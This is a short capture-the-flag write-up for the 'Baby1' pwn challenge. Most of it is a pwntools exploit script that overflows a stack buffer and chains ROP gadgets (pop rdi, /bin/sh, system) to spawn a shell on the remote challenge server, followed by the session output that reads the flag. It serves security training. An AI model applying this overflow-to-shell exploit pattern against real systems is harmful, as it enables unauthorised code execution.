# Baby1
### Category : pwn

-----

```

from pwn import *

#######################

p = remote('baby-01.pwn.beer' ,10001)
#p = process("./baby1")

######################

offset = 24
win_ret = 0x4006b2
gadget = 0x0000000000400793 # pop rdi ; ret
binsh = 0x0000000000400286 # /bin/sh
system = 0x0000000000400560

### Payload ###

pay = "A" * offset
pay += p64(win_ret)
pay += p64(gadget)
pay += p64(binsh)
pay += p64(system)
###################

print p.recvline()
p.sendline(pay)
p.interactive()
```

-----

```
zer0@overflow ~/C/s/p/baby1> python exp.py
[+] Opening connection to baby-01.pwn.beer on port 10001: Done

[*] Switching to interactive mode
Rather ROP than RIP --Lars Tzu 2019

▄▀▀▀▀▀▀▀▀▀▀▀██ ▄▀▀▀▀▀▀▀▀▀▀▀██ ▄▀▀▀▀▀▀▀▀▀▀▀██ ▄▀▀▀▀▀▀▀▀▀▀▀██ ▄▀▀▀▀▀▀▀▀▀▀▀██
▄█▄▄▄▄▄▄▄▄▄▄▄▀ █ ▄█▄▄▄▄▄▄▄▄▄▄▄▀ █ ▄█▄▄▄▄▄▄▄▄▄▄▄▀ █ ▄█▄▄▄▄▄▄▄▄▄▄▄▀ █ ▄█▄▄▄▄▄▄▄▄▄▄▄▀ █
█ █ █ █ █ █ █ █ █ █ █ █ █ █ █
█ ▄▀▀▀▄ █ █ █ █▀▀▀▄ █ █ █ █ █ █ █ █ █▀▀▀▄ █ █ █ ▄█ █ █
█ █▄▄▄█ █ █ █ █▄▄▄▀ █ █ █ ▀▄▄▄▀ █ █ █ █▄▄▄▀ █ █ \x1b[42;1m█ ▀ █ █ █
█ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █
█ ▀ ▀ █ ▄▀ █ ▀▀▀▀ █ ▄▀ █ ▀ █ ▄▀ █ ▀▀▀▀ █ ▄▀ █ ▀▀▀▀▀ █ ▄▀
█▄▄▄▄▄▄▄▄▄▄▄█▀ █▄▄▄▄▄▄▄▄▄▄▄█▀ █▄▄▄▄▄▄▄▄▄▄▄█▀ █▄▄▄▄▄▄▄▄▄▄▄█▀ █▄▄▄▄▄▄▄▄▄▄▄█▀

input: $ ls
baby1
flag
redir.sh
$ cat flag
sctf{1.p0p_r3GIs73rS_2.pOp_5H3lL_3.????_4.pr0FiT}
$
```

kita berhasil mendapatkan Flag...

`FLAG : sctf{1.p0p_r3GIs73rS_2.pOp_5H3lL_3.????_4.pr0FiT}`

Original writeup (https://github.com/zer0verflow/Writes-Up/blob/master/On-line/baby1/baby1.md).